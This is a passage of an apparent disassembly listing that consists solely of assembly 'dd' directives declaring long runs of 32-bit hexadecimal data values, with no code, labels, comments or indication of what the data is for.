		dd 0E53E008Bh, 0D5B6A29Ah, 911C0376h, 0BC41FE23h, 0C41C5E58h
		dd 1608B0C3h, 0E31300A9h, 0DBEE5B6Ch, 8900E180h, 71BDEB9Dh
		dd 10C1D67h, 0F52C2E04h, 0FED1E3F0h, 470DE0F7h,	0E67100E4h
		dd 0B35316E1h, 4500D366h, 821E5D0Fh, 7FF958Bh, 89976992h
		dd 0A2CE5019h, 2B0093BAh, 964146D7h, 80F963h, 0FEE0C4C3h
		dd 78F75F39h, 0CB529C00h, 44F4C1A4h, 51AB0066h,	0EAF98CA6h
		dd 0B5FA2410h, 0E09C2700h, 0AFB35235h, 8A8201B0h, 0B74120BCh
		dd 0A8F2CCA2h, 0FB6C60Fh, 3E18E087h, 17D6DFh, 35925AE9h
		dd 0A9094738h, 0F60F1601h, 5E63232Dh, 2E5C15DCh, 762CFF9h
		dd 24FF94h, 0D785A1D1h,	860E84FEh, 80EFB153h, 0A8C113BBh
		dd 957CC1EAh, 3D679483h, 81203F58h, 0D22B9D86h,	0EE706611h
		dd 1EDB061h, 1DAA07E1h,	0CCA70ED5h, 0D10012D3h,	58D7FC5h
		dd 3C29121h, 327CD893h,	33E0FF8Ah, 75012FC7h, 7471940Ah
		dd 0B6F01A2Dh, 8EA30027h, 0D54BB8EBh, 0CF075CC0h, 0AB20B1AAh
		dd 1C6815C1h, 71910EEFh, 95C09FEDh, 8E7ABBB4h, 832839h
		dd 52745DF8h, 92C45372h, 0F9D9009Ch, 27138DEEh,	0A3748FF8h
		dd 298E8A01h, 7714225Bh, 13575020h, 1FC7DA11h, 0AD0F00B8h
		dd 0B498F332h, 0FEDD972Fh, 4F650051h, 89F62AF2h, 72001677h
		dd 4BFDFB31h, 944887h, 0CA63908Eh, 6C8A1E18h, 0B1EF5330h
		dd 11AB28Fh, 0FAACC03Eh, 0E39A254Dh, 1991A060h,	0C1F2AF81h
		dd 0CDF30970h, 0E273E840h, 2D6540C5h, 0E38D540Fh, 289F784h
		dd 0CC8F9338h, 1080135Bh, 3F81AAF1h, 4F1B8B00h,	0ED517E70h
		dd 0B57328h, 0FAD78820h, 300112BFh, 8007503Bh, 0D83A5C38h
		dd 17FB5Ah, 0A2F3C8C4h
		dd 0D10C90E7h, 5BAA3000h, 49C52A1Ah, 88810013h,	0A1F1A85Dh
		dd 593D1421h, 25FB0084h, 32E9EBC5h, 0F8DF1C63h,	0D8C700C1h
		dd 0B0358350h, 0FB3019B8h, 153C5CACh, 82A60040h, 0A0BA0F3Bh
		dd 0D0008538h, 17EEA80Dh, 782B27ACh, 0D1FB4C2Eh, 0F281A20Eh
		dd 0F6A9B983h, 2948ADD0h, 47981400h, 0F158F7C0h, 2870B7Ah
		dd 9820B2A5h, 922520D0h, 288B8E00h, 7A3B57C0h, 48994DBFh
		dd 25397E00h, 0DB6E2FF7h, 0A0C411Ch, 0A8718D03h, 7414F191h
		dd 1711C8C0h, 13B81D4h,	0DBCE68E0h, 73D6E0D3h, 0F6DC871Ch
		dd 0D456957Eh, 5D5C00F4h, 82904D1Ah, 63071E1Bh,	47183AD2h
		dd 57CA20D7h, 0FD003DF0h, 56DEB70Bh, 12FEFC1h, 8B054DBCh
		dd 68FAEE8Dh, 0D2760304h, 0C8715965h, 0E2E09AFEh, 191A05BFh
		dd 40106AE7h, 0EF909EF8h, 9C0F9DAAh, 2239534Eh,	0DAF78A73h
		dd 80789E34h, 7F411CE1h, 0CC00CB39h, 1EFBDD87h,	1E60F375h
		dd 0B334FC42h, 6990F781h, 5E00E376h, 0BFDD8325h, 0E8564789h
		dd 80862E36h, 20590026h, 0EB950BBEh, 0B593D30Ah, 2F00CA14h
		dd 4A371A89h, 0A8270018h, 455BCD36h, 6A00CE7Bh,	78CF2485h
		dd 0F20F9659h, 4D9200B3h, 2CFA0989h, 0A201E8C2h, 0B159B020h
		dd 30806B6Fh, 6C5FBD17h, 0BB074829h, 90CE2EA4h,	75C064CEh
		dd 90D55083h, 560A87h, 43DA50B2h, 8F6E356Dh, 5CC5C400h
		dd 0A3A0B31Bh, 0F84CFED0h, 0C6073043h, 9DAFFB18h, 0F0CB311Dh
		dd 3C546B40h, 0E058D44Ah, 80706006h, 1F6E3BCEh,	61E0A800h
		dd 0EE93073Eh, 743D3E32h, 39E91870h, 9852886h, 0FD367A00h
		dd 30401690h, 9D100E1Dh, 0E0203914h, 0ADFCF4ECh, 2F3B900h
		dd 248C1ABDh, 0CA7045h,	0F19B50F9h, 0ACD3D028h,	77982350h
		dd 0B1000EE6h, 2D48C4E1h, 39211F58h, 17803601h,	0FA40BDB6h
		dd 0B2FECB37h, 0E500CDF8h, 0C4EDC673h, 3E78266h, 0A9F75960h
		dd 7BE8E9C9h, 0CA00EAF4h, 0B8E52CF9h, 66C5D2h, 6ECBF7F6h
		dd 61F0B5DCh, 0C9BB6D1Eh, 54774200h, 729EBCEh, 40C53F6Fh
		dd 0BC4A435Eh, 227F2000h, 0B1049553h, 0D2EB18E5h, 0AB2150B2h
		dd 7E43CF00h, 5259E0B5h, 6222384Bh, 0C6E758E3h,	0D8396100h
		dd 8C2494B7h, 28471ECFh, 60C7417Eh, 0EC05F751h,	7B0CB0D3h
		dd 413EB489h, 2DC300E9h, 4EEEE595h, 473A4D98h, 8975184Fh
		dd 32CA620h, 0E846372Eh, 8C88409h, 2400DCF0h, 0DF4E59D2h
		dd 9A4204h, 4CEF6D22h, 0AE5A48E2h, 96D850A0h, 395C7400h
		dd 0C27D19Bh, 0B5EA0206h, 0EB32F5EEh, 0F4C5AC80h, 0F00ECC60h
		dd 67B25B8Ah, 3CF0AC09h, 0E48D819h, 3E259CE5h, 186F4020h
		dd 723ADAABh, 0B80F0042h, 17934ED0h, 10B7110h, 0ADD83019h
		dd 0DC2A6D23h, 2100889Eh, 0B565D372h, 0F894CA83h, 100B00EAh
		dd 24FB9CF8h, 0AF0038CDh, 0D21507ECh, 396B2AE5h, 0BD80282Dh
		dd 5CF04A16h, 8D01E974h, 49F9C659h, 21F42BDBh, 78A60179h
		dd 69A40F18h, 60D4E8E9h, 0B03F6E8h, 512047DEh, 2296E0FFh
		dd 0F5C53E28h, 0D018675Ch, 1F9F188Ch, 52581200h, 1408365h
		dd 2A730F08h, 56C01471h, 5806CED2h, 0A1872F00h,	18F052E2h
		dd 0DA71032Bh, 0E825D79Eh, 79332900h, 0A216493Dh, 4E970EDCh
		dd 368CDE61h, 0E200D260h, 41843DD5h, 303E5D2Dh,	0DF70598Fh
		dd 0FE26E9FAh, 45004F65h, 0F81A5AFh, 96473076h,	263304C8h
		dd 4A1E1300h, 58B10CEFh, 3AAF0071h, 0C2632CC1h,	68004D08h
		dd 9E7BD90Bh, 1D11F05Dh, 42461560h, 12AC69Bh, 0C0721740h
		dd 9D47B00h, 5561885Ch,	36A007A2h, 0F72D33h, 0B3CD76E4h
		dd 780739h, 98F5CF68h, 318CBC9h, 37692E34h, 3391841Ah
		dd 40C02AE5h, 0A8DA14h,	62E3F58Fh, 97F9B119h, 80995D3Ch
		dd 0D154D8Ah, 3E7BCA14h, 0A805AAEh, 0F69F5BDAh,	0B9F46B02h
		dd 147D1039h, 0AF5453h,	81B75577h, 0A13A12h, 0F9678A50h
		dd 0E3C4BA63h, 18569203h, 703031A4h, 62440748h,	9083E812h
		dd 0E2D0CDD6h, 94465D00h, 0A081B693h, 2C8E0074h, 6AC2A244h
		dd 1207DA15h, 75265611h, 37FEE4C0h, 380CF676h, 9600E2F6h
		dd 0AAA6A4A5h, 2C393A73h, 77FA00D7h, 14A03729h,	0E8D7AD3h
		dd 0E4B9C6E3h, 3B88F240h, 0BF000DC9h, 0CF498ADEh, 0E67D25h
		dd 2179DD3h, 886EB623h,	3303C475h, 9FDDD2ACh, 74510147h
		dd 38722409h, 0EAC0EF68h, 7A019AD0h, 0DD9026A3h, 0B980C411h
		dd 2E18053Bh, 0FA0AC2D4h, 98FDEF78h, 82351704h,	634DB280h
		dd 25D93290h, 0D1C3F7FCh, 0FA8A6B0h, 0AB292C03h, 0D031C559h
		dd 1C84E701h, 0BBD4CC5Eh, 0E450A680h, 6908AB1Fh, 0AAD1450Eh
		dd 767AC0C1h, 9EFA02h, 0B0C7A9B6h, 0AE6E8085h, 0E9000975h
		dd 0FB8AB55Bh, 1A77CC0h, 5250B60Ah, 0D037A3E3h,	0CC60ACD2h
		dd 98948660h, 1ABA00A1h, 0A3A961DCh, 3A3062B7h,	2C2320CAh
		dd 7A1F0099h, 0C5EFD3CDh, 0FE0055F0h, 6A0A64A5h, 3D1BC911h
		dd 29005C8Dh, 9F73284Bh, 4A07A127h, 0C2168551h,	0E3635550h
		dd 222B0584h, 80DDB88Ch, 11F539C5h, 54CF6F06h, 38F160CCh
		dd 2C80B535h, 0AF065368h, 11743BE4h, 7854B230h,	0BA6C16h
		dd 0A823E7FBh, 208EE348h, 417CDA30h, 1F5D19D5h,	8024828Fh
		dd 67D31C46h, 96007CDBh, 878D84FBh, 0D5A54Fh, 98ED2FACh
		dd 260FD376h, 8B25030h,	11FC67h, 0D6483BD5h, 5433C8E3h
		dd 0E4F9BB00h, 62EA02FAh, 9840FD2h, 403D8661h, 0CF5F9257h
		dd 7A1F03FEh, 69802D99h, 0C0FFC20Fh, 0A75C00D7h, 4FDC202Eh
		dd 9E1DD232h, 0EE5DDE12h, 182C940h, 7D303Fh, 3E9BAA0Eh
		dd 9D810869h, 99C4C603h, 0D0DD6C2Ch, 0F1D0A9D4h, 7BADCCh
		dd 6B7798B4h, 89AFE053h, 3796E400h, 0C74EAB7Dh,	0F6CD6330h
		dd 14A89F64h, 0B9E642BFh, 470095F6h, 9D53AFC4h,	1094D8h
		dd 580BD04Ah, 0A5B34830h, 6140A900h, 20CFAE45h,	7E680632h
		dd 10B0BB99h, 0A804BA52h, 0CAFD1F61h, 0F66E0E9Ah, 0EDE76240h
		dd 0E9015F3Fh, 0CE497778h, 8D8F3BFh, 383E7BF7h,	6387A24Eh
		dd 10265DFCh, 9E8D55F8h, 0D4E35F00h, 3AE9A7DCh,	51B20098h
		dd 5B3FBEF6h, 0CA008AA0h, 0A742958Dh, 0C0AA55h,	9E841F13h
		dd 69997B59h, 8E5EB500h, 94D50E9Bh, 0AB57009Ch,	79C78C33h
		dd 19012771h, 45F51103h, 0EBE4E47Fh, 399069h, 27EDB86Fh
		dd 0D9E52999h, 0ADCF4C00h, 4684C5A5h, 70FCE548h, 8C003DEh
		dd 0C1382192h, 0CD6065FAh, 230EEC53h, 4E4EBB8Ah, 333A60A1h
		dd 0A384CAh, 3FDD8943h,	7725387Bh, 687C600h, 10A515FFh
		dd 71B41FCAh, 0F3C00046h, 0F8D88C79h, 0BC13C91Fh, 1F4F49C0h
		dd 64B88Bh, 0F7ADFA07h,	54E6BDB4h, 0DD6F7C00h, 0C27BF126h
		dd 0B0C607DAh, 531A1DEFh, 98B0BAEAh, 0B81F71DDh, 9440D9F6h
		dd 2C24E74Dh, 62DCA8A3h, 663D07ADh, 7083B3A2h, 0CAC4E928h
		dd 0F907691Dh, 4F226740h, 32A3EDh, 7DD1109Ch, 0D47662A7h
		dd 0EF98B20Bh, 5C290042h, 9E9F4BFh, 81B9581Dh, 7C4E0A80h
		dd 0C000BA0Ah, 0EBA161BDh, 5665E70h, 16FE09E5h,	7C7580B4h
		dd 280745ACh, 8790BFB9h, 0EFB6EE0h, 9E0D034Ch, 0AD5E6FBBh
		dd 8F6AB9D8h, 9D69A10Eh, 7843A0FBh, 0BE530Eh, 21E6687Fh
		dd 421EE4C1h, 0A288E31Eh, 0EA443A82h, 3CF2809Ch, 3FB5C9h
		dd 51DA95EEh, 62EB9A7h,	173FBE7Bh, 467400A9h, 50275E7Eh
		dd 0FCB238ECh, 7C21B48Eh, 700EC4A9h, 0FF9E7920h, 0F6986ACCh
		dd 8B01023Eh, 80F75DBCh, 0E10AECE4h, 2DAB003Ah,	480DA5FDh
		dd 0B700D577h, 96376B80h
		dd 0F2041302h, 0CFB10067h, 8C9F3F07h, 6671C1F3h, 0F7CE9300h
		dd 0B7021278h, 0C578DFh, 1099EED7h, 8B348303h, 0D81DF401h
		dd 0B287B601h, 3298520h, 0FC742578h, 0A8A986FDh, 0C1A8F7B1h
		dd 1800663Ch, 71FF0F3Bh, 3E54AD20h, 780069C6h, 0B1E48A13h
		dd 0BC0014A6h, 507E44B6h, 0B2FDDEh, 3F0B3799h, 0B9E25A7Dh
		dd 47DB3600h, 32117B06h, 97EE64h, 2F2B79B0h, 68776ED5h
		dd 1C20D0C0h, 0E1F6754h, 0D757B864h, 53803047h,	489022B4h
		dd 821E8BEBh, 1C0A9AEh,	0A0AF1938h, 5C860010h, 37A1F09Eh
		dd 1107F21Ch, 7D635F27h, 5B16B9C0h, 0D2230086h,	1A48CDCFh
		dd 504AA779h, 6057D4C2h, 0E7291Bh, 609D9720h, 5840DB1Bh
		dd 5C58400h, 7D7A0FFCh,	33780027h, 6C98C363h, 0E00BD15h
		dd 0D3BA2D10h, 1E71D11h, 0C2902104h, 0FCE8EA33h, 0F800022Ch
		dd 0AA4C085Bh, 0B24034h, 453C2D03h, 33778DD8h, 0F6571501h
		dd 5426A727h, 0E264D230h, 839C00BDh, 5802B3E8h,	0A800C8DEh
		dd 5C91BE47h, 63A75Bh, 3523AF8Dh, 0B234D180h, 0F8A50850h
		dd 456C2F01h, 87F163BDh, 0E7CA2F4h, 0A76ABA21h,	202017AEh
		dd 9FE9C85Bh, 55FC339h,	31395115h, 0DD2B8800h, 0E41260E7h
		dd 0B87AA1h, 0BFD3EA95h, 0A2FB4ACCh, 247C0207h,	6BF3BBC4h
		dd 0EB60D8E4h, 4DB40031h, 0C7A643FBh, 84020D44h, 0F4F36FCCh
		dd 68CBE236h, 0BFC1Ch, 0AF4C258Bh, 4F9E973Fh, 0EC1CEF7Ch
		dd 60932B45h, 0CBF13800h, 49567Ch, 0D214F9Dh, 3BD8F883h
		dd 0AE004AEEh, 0BA36756Ch, 0B5E65h, 5819F6E2h, 3930CFB3h
		dd 375ACE00h, 224B992h,	64150738h, 6332B675h, 0F58AFF8Ch
		dd 79F638C0h, 0C9697B00h, 0C8D4F43h, 0D780C03Fh, 4567301Eh
		dd 5CCC1700h, 66799A47h, 782B090h, 3DE6D70Dh, 68BBF0FBh
		dd 0CC01C1EDh, 5ECB67E4h, 1880F544h, 13AFBA01h,	4E008491h
		dd 66E64008h, 0C5EB03h,	46D7126h, 0C233B694h, 0A521BB03h
		dd 802E3EF8h, 0ED9725h,	2B5F0D29h, 75E172B2h, 0BAACD300h
		dd 923FFF4Ah, 1EF99290h, 0D3A4EA37h, 7F78006Ch,	0C88BBC3Ah
		dd 0F6907000h, 3674BD3Bh, 0DC690012h, 9AB06184h, 5B7D94E9h
		dd 49B44600h, 6FF015ABh, 129800E6h, 0B717F2DDh,	750078A2h
		dd 26AC32C9h, 0E4A15Dh,	3FE1CB74h, 113924Bh, 0EE77221Dh
		dd 26304280h, 0E09B9A94h, 65D20228h, 95446B69h,	0D31D9CC0h
		dd 0B51D17F6h, 244F992Ah, 8C46E0A2h, 0FEADD9A6h, 0A7101E5Eh
		dd 6DFCC0EDh, 74F79E75h, 0F5F30600h, 2F3B87DFh,	0D343004Eh
		dd 447C7273h, 607C94FAh, 900045F6h, 0DC6B7DC0h,	0FFC771h
		dd 8FA1CE8Eh, 0BCEF5939h, 960E28E4h, 61EEECA2h,	3D9E52CDh
		dd 482085CDh, 613B0002h, 99305C5Fh, 6300A449h, 0DD05B398h
		dd 0A91C29h, 0FB8020E9h, 31C33E18h, 7A4A3801h, 0E2790F85h
		dd 0E45269ECh, 22ED00DBh, 4BA7757h, 0B500068Dh,	0C4D4EBF0h
		dd 0FC527E4h, 0BC9868B0h, 36357940h, 800F4A2h, 49A7B956h
		dd 38896A12h, 8F007F21h, 6EBA1953h, 8461E1E6h, 6342E7A8h
		dd 3B0E420h, 0CA363304h, 6CA8E2EFh, 3DEA7A40h, 72115800h
		dd 2F45EE34h, 0A8DD1204h, 81BC0F3Fh, 1B480260h,	0B005A233h
		dd 0A9A19216h, 6F3E080h, 478F005Fh, 16E0FD2h, 0FD0BEEEDh
		dd 203C3D2Dh, 0A79DF934h, 0BD30C09Ah, 14105BBEh, 315EC303h
		dd 61F941FDh, 0A1FB21A6h, 8B3980A4h, 3EDDAAF3h,	807A1C57h
		dd 9DF2C044h, 70355276h, 48033376h, 0BFBA0B4Bh,	0A8FE83C6h
		dd 783B89Eh, 0F6A723DDh, 0E8E030E6h, 581F565Fh,	807AD9FCh
		dd 7429B7D8h, 0A0574E20h, 8D328Ch, 27B6E496h, 8CD11EFEh
		dd 0BB6CDA0Ah, 4800EB0Eh, 409B06A1h, 3C150391h,	20ABA5AEh
		dd 0F2C12990h, 0B5E3F401h, 0E06FACC0h, 538798FBh, 8EEE77h
		dd 9CEEDC3Eh, 0E9900B1Fh, 0DBE80C00h, 2298C58h,	2EDE72CAh
		dd 4C2D1B6h, 0BF0B91D7h, 4020B400h, 73E67EDh, 0D9C3AD69h
		dd 2A2C91B0h, 577FE05Fh, 9171B31Dh, 0DA3EA2C0h,	679E59h
		dd 0FE82733Ch, 5AAA39AEh, 0A6F17B03h, 0C1DB66EDh, 0B640D613h
		dd 2D6002h, 61298B92h, 0E8F4B59Bh, 5578BD00h, 0DC09D0F6h
		dd 2FF7003Ch, 36EC16C3h, 7D01C56Ah, 5122F914h, 0FF4096DEh
		dd 8FF809h, 2128125Bh, 0A735E50Ah, 0B54251Eh, 0D080C552h
		dd 0E296321Dh, 1E4D095Ch, 0FC45C4F2h, 130817DBh, 376C40D8h
		dd 0C7F7035Ch, 0DC246100h, 66724479h, 73E1FCDDh, 7B191ECBh
		dd 0DF5E0906h, 0A8627C01h, 0E42988DAh, 46958854h, 3E2CBB84h
		dd 44DBCC04h, 0E9485B3Bh, 28DE0143h, 1014D051h,	11B84309h
		dd 0BA0035EDh, 62631473h, 8040AB54h, 814044FFh,	20171A44h
		dd 0D81032DAh, 98287A0Dh, 2528C8AAh, 417C2C41h,	46024407h
		dd 2251383Ch, 0F67C36F9h, 11C029C4h, 82C8F440h,	3D22CC57h
		dd 84423319h, 511EC479h, 90C08E96h, 0C88D1C80h,	5C8C0217h
		dd 50D8191h, 7B4983F5h,	9F8FD092h, 23CD03A9h, 97539CE7h
		dd 5BF0C0DCh, 0BF129BB5h, 0F300F12Bh, 3FCF4E8Ch, 27060053h
		dd 0DA86608Eh, 6F00EA5Bh, 0F3E0C10h, 99C7C41h, 6CDC7D14h
		dd 70927780h, 0FB00A8F9h, 0B53543FDh, 7A5EEh, 194B01D1h
		dd 0F489CB45h, 34ACB41Ch, 1ABFDC00h, 13C84E6Dh,	0E21DDBh
		dd 9211D641h, 0EB009553h, 7A870A5Ch, 7F25A9h, 0E7D92726h
		dd 0E237B610h, 3693CD02h, 605C7C29h, 1E6DBAB0h,	0C051417Bh
		dd 0E5DD6520h, 0BF003E31h, 0BE3DEDB4h, 7F09D4h,	0B7DA5C74h
		dd 7304D080h, 4398CC00h, 0EDAC8912h, 7B8524BEh,	52A4005Ch
		dd 8C6B0A9Bh, 474760E7h, 95B5300h, 189539E1h, 60C10AE2h
		dd 0FCFDDFh, 0D3717AB7h, 5E006C8Ch, 0B3AAA241h,	2DB96Eh
		dd 0B8496AEh, 0B82B9F51h, 4C0F49EAh, 0E0618139h, 0E420B33Bh
		dd 0F6710741h, 53D7101Fh, 0A1F0F34Ah, 0B9ECD185h, 0ECDEB52Eh
		dd 0FDB43E00h, 54F636h,	0E25A64FAh, 502A9129h, 779BFF00h
		dd 0DC4A88EDh, 3C0602D7h, 0EA938A34h, 4B19C040h, 33A23500h
		dd 6030D127h, 0F43E00EEh, 0B571CAB6h, 66008E3Ch, 0E8F3EA3Ah
		dd 0E8604B9h, 0E0FFA3B3h, 0EE94660h, 0FD00CBE2h, 27D75E6Bh
		dd 329F08h, 0A014D0EDh,	0A7BC22D6h, 1CF49150h, 0D7A20400h
		dd 936A8324h, 19DA0012h, 38EA1809h, 0E51D06BDh,	807B3ECDh
		dd 0C3562970h, 0EACA4C1h, 4A995A14h, 5D1A31E0h,	0A21C7024h
		dd 39C07343h, 4571DD8Dh, 3DD3074Dh, 9E6231F2h, 0E0A03FEFh
		dd 5153DC7Ah, 965F0E00h, 3860074Eh, 3B8E5h, 27B2422Dh
		dd 2C08FFE7h, 0BE7B9818h, 961F010h, 6D43C3F5h, 0C15F0401h
		dd 5A1B007Ah, 210A059Ah, 0C00207DCh, 8E6511F6h,	0A7153Ch
		dd 9DD6BF70h, 84C9E2h, 0A3D3F9A8h, 92940881h, 0C80044B8h
		dd 6CB7C4DAh, 8350E1h, 3FC1E797h, 0A5AAA939h, 0CD23FC0Bh
		dd 0F44A8058h, 357AC99h, 0CA7C132Dh, 358812E9h,	620005ABh
		dd 407D479h, 2665EEh, 95C36811h, 43E16DFEh, 6E557E00h
		dd 59525B44h, 0EDCF2EE0h, 3DEF0050h, 29FA66Ah, 7E0091F2h
		dd 25BD0310h, 3B28E16h,	1CFE55A2h, 0C898075Eh, 0A51C69F8h
		dd 15C01491h, 0AF1FCC9h, 0E5F00Ch, 0E725CD9Ch, 0B16A0BECh
		dd 5439C600h, 682D0E78h, 194100E5h, 0A25AD655h,	0A512B501h
		dd 0A42053F1h, 0E378371h, 133226A9h, 3BEA2800h,	0F500DE59h
		dd 0A1272A24h, 3A9A6A74h, 68809C5Bh, 0AF0D0819h, 300073C3h
		dd 0F277DE93h, 0A0494DA9h, 783DFDh, 0C3E5E2B1h,	0B4EBE0CDh
		dd 0B988B700h, 431C99ABh
		dd 496000A7h, 3C750A29h, 0A50005BDh, 0CE843EF3h, 7643D3h
		dd 98D1C1BCh, 9D4DE3D0h, 0FCD12B51h, 61004F7Ah,	55EBCCC4h
		dd 10DFC4Eh, 0AC3A18A2h, 0F59992DCh, 44BBE094h,	0D19AB538h
		dd 97CEE4B2h, 5800647Dh, 0B4F5051Dh, 0B8DD1Ah, 0D9480391h
		dd 57F87570h, 96A3F400h, 2B5BC97Eh, 8E0D0473h, 9020871Ch
		dd 0EC54B99Ch, 22F75300h, 2421B1D4h, 0FC555C97h, 0D2B4A700h
		dd 87D1088h, 0DD923Dh, 51C7DFCDh, 8AC482h, 0F9BF2BDCh
		dd 3979B421h, 1784300h,	0A2C71375h, 0BE5F1E8Dh,	974C03DBh
		dd 24889BF5h, 740BB253h, 401EA89Eh, 663714h, 19236D8Ah
		dd 0F2B88F07h, 25E72C38h, 0D0540080h, 46725Ch, 0AD45AFC7h
		dd 5A3A3C68h, 8F017500h, 0D6F157C5h, 3672C9h, 22F6CA40h
		dd 9E204203h, 390E32Eh,	0F0275800h, 2554C671h, 8802010Ch
		dd 0E8646232h, 0DB486609h, 0CBEC8031h, 4273F2h,	9534E05Dh
		dd 0B53B9DCAh, 624EE500h, 0E7BF576Ah, 0CB680055h, 0F6F2781Bh
		dd 297B8DC1h, 2C394D00h, 346009A8h, 7B79007Dh, 282DA123h
		dd 9890E576h, 3C579328h, 0D28BBFA0h, 483D160Bh,	281D004Eh
		dd 3E1117E5h, 8C80A08Ah, 0D5DF1451h, 0B10F0199h, 0C02F9769h
		dd 0B67346FCh, 0D6403817h, 40A79A9Eh, 57C01998h, 0ED0058DBh
		dd 0FF3F56F4h, 0EBC8DE5h, 76AA732h, 7C776360h, 65002538h
		dd 0AF56B594h, 72EDDAA3h, 0D5703C5h, 0B8260278h, 0D40C7BA8h
		dd 0C1B08E00h, 9F847348h, 0D8450E14h, 6BC0ABA8h, 27EF9AA6h
		dd 11BC0C00h, 0B9CB3CBEh, 72470044h, 912CC390h,	6F756340h
		dd 0D60F3616h, 0FD7600Bh, 34FCA076h, 6814B5h, 0F89D3556h
		dd 0D97DA04Fh, 89C8DE00h, 0E3454A3Ah, 0CC994C06h, 0AEE21A03h
		dd 4D88E574h, 511E4ECCh, 0A7C00A2Bh, 0CE0B1741h, 378007ECh
		dd 0F0C596E3h, 93FAD05h, 98434E00h, 23A1448Fh, 7C704C7Bh
		dd 0AAA0FF00h, 0D81F5DF5h, 3F00DE79h, 0C53A5036h, 7D9D5C7Ah
		dd 0DB900010h, 0C9DD2877h, 0DAB02181h, 807FF73Ah, 38CD3B66h
		dd 0B6C989Eh, 0AA5694B6h, 0E093B387h, 0CB1E3C17h, 0BF954100h
		dd 63DFC7Fh, 462D00D7h,	8547C307h, 0AB010371h, 1963335Ch
		dd 0C29FDD2Bh, 72DBC33Fh, 0C0A58CA5h, 159C3424h, 0BD485A17h
		dd 81DAA700h, 0CB8D25h,	3887B8A2h, 21B57F36h, 0DFC92F00h
		dd 2B56CF84h, 3E78055Ch, 4F162Eh, 51905798h, 9A7835C4h
		dd 818A4001h, 25832E78h, 7614CCh, 22260BF0h, 97EF3080h
		dd 3F5C6D79h, 8BC20095h, 9B4BE4A1h, 2CE80066h, 22BE5572h
		dd 1707565Ch, 0F48D7553h, 33944ED0h, 0FACF0025h, 0BDB6DA7Fh
		dd 7A00EFD9h, 0A0ECB98Dh, 22E1E18h, 8466ED9Eh, 88C0ACAEh
		dd 6500480Eh, 0B15BC487h, 1D6E63FFh, 0C05FE3F1h, 94A74414h
		dd 2300893Dh, 74390BEh,	0E381242h, 2069B635h, 36E8C340h
		dd 8F00C9ACh, 3184D3B1h, 7B3FEDh, 8CA41093h, 0F7CA369h
		dd 0AB71DE00h, 0D179D61Eh, 274032Ch, 7795EA4Eh,	0AAA4E8D8h
		dd 0A705BB15h, 3C202ECCh, 89C3A601h, 6AE81752h,	8B3B0042h
		dd 0CB113C25h, 9200BA20h, 4F9DA795h, 39F87CEFh,	7A00553Dh
		dd 5DF69FE1h, 2C7FD24Eh, 0B4006B73h, 0EB53028Eh, 5E5E4351h
		dd 86D401C4h, 0F4CBA6DCh, 44748D4Ch, 14962A00h,	0BD8A87F2h
		dd 9CFE0093h, 0B0C677E9h, 200FA8Dh, 0C9D44789h,	3EC8EF0Bh
		dd 0F1805E8Ah, 8B83C4ACh, 9B00773Eh, 6286C398h,	0DB2C03h
		dd 5B85CD7h, 5F2166FCh,	937E1773h, 18078212h, 0D3AC4300h
		dd 48FBFF79h, 840010A2h, 9302B836h, 0A0A0104Bh,	924C8ADBh
		dd 0FB017E95h, 724EC22Ch, 7AD49FACh, 0EDD20071h, 0B1670B19h
		dd 1A003745h, 40854CA3h, 0FD84C0D1h, 0ADC32483h, 7BE06159h
		dd 8902CA91h, 7AB96A26h, 1784F836h, 49DC7D96h, 62808C0Ch
		dd 2CB6397Bh, 9D69900h,	0DB2B343Dh, 380E0010h, 97CF933Bh
		dd 0E100C9DEh, 0D312AEAFh, 7E163Ah, 3142A6Bh, 0B4F0EC59h
		dd 4FBD5800h, 4313201Fh, 0A5B000C5h, 81894E21h,	0B50370FBh
		dd 0B901B13Ch, 7CB6E8C1h, 0E51203A9h, 0A35FEB3h, 0D46CBB99h
		dd 0FB0102A3h, 596D9F1Ch, 54E4285Ch, 7A0B018Ch,	0ECCD7484h
		dd 0C146E994h, 60A849FCh, 0D300C3A5h, 0ED532FE7h, 5A8F41h
		dd 75F9F5Dh, 0A8C4E85Bh, 3186A0A8h, 362E1100h, 1D666DABh
		dd 0FDFB00ECh, 0C4A12CFEh, 1200C7E5h, 0E64BEF51h, 79850Ah
		dd 0B45FC295h, 22A17C28h, 96FE3F1Fh, 1F19CF87h,	0BF39406Eh
		dd 0E3CBAA7h, 874EFA62h, 6D0D80E0h, 16B2D291h, 0A4F7EE02h
		dd 606F5AE3h, 0B0C6BA44h, 95D60FF1h, 0F42B1489h, 2B130401h
		dd 45BBF888h, 43FCCD50h, 0B479530Fh, 56C181F1h,	71F424E9h
		dd 7AC000FCh, 509EE3BDh, 4900396Dh, 0AA98D226h,	2E93F996h
		dd 671C22h, 78B216C1h, 95E54Eh,	0FA22430h, 0C8174860h
		dd 3EAF3800h, 9599CBBCh, 6F5E7D00h, 0A7080DF0h,	25730171h
		dd 0A2502736h, 1317C0F9h, 2E62C2Dh, 0F08F3FE4h,	50A000E4h
		dd 825DFDEFh, 5E5C6570h, 97BB00CAh, 79345FB1h, 0BD89F236h
		dd 7B95600h, 0FD00F7DFh, 1AB01899h, 8CDD3h, 4AF0A72h, 0BDF3478Ah
		dd 0D535F700h, 67075805h, 48850081h, 0CB1FF957h, 6A00DCE7h
		dd 9B5C534Eh, 1DE3D9BBh, 7F0D337Ch, 0BD613280h,	0A3DB8E30h
		dd 22F420E5h, 5800374Bh, 53F42F64h, 13BD0151h, 5F81D603h
		dd 63E4DC3Ch, 0A69D1B00h, 6B87C941h, 6D3E0133h,	5619EBA0h
		dd 940E2B83h, 0E563E2DAh, 0A9A24197h, 1A12420h,	0DE0A1747h
		dd 0E9E73530h, 0E0E3D027h, 0A4299F00h, 0D48526CCh, 4AD30718h
		dd 508E8492h, 3F602E52h, 0CAB65303h, 0E9092082h, 23CCE080h
		dd 297700D1h, 0C8B15E70h, 6901DD46h, 0ACDBF474h, 0D1204548h
		dd 0D4B00084h, 0DF2E014Eh, 7606EBE5h, 24638290h, 99EA0098h
		dd 0FD2C51Bh, 0D7005D2Ah, 0F3CB223Eh, 24133376h, 71547DAh
		dd 0D05211B1h, 8B143604h, 90D3B750h, 4915EE0Dh,	4D6031AAh
		dd 0ECE40E85h, 1760E0D7h, 0C0510C97h, 0D6ACD216h, 107A2C80h
		dd 0DEDF01AAh, 1C642CF8h, 66CCE0A1h, 67D67D0Fh,	2E0DE04Bh
		dd 772C776h, 0ACE4C9A8h, 3127300Ch, 0B303AFADh,	2DC65963h
		dd 0E95BE145h, 6F44C0F6h, 8E6607F1h, 80FBC360h,	7FD37370h
		dd 82069A00h, 6F44EFCAh, 4C36003Eh, 0C6C24AC0h,	70257749h
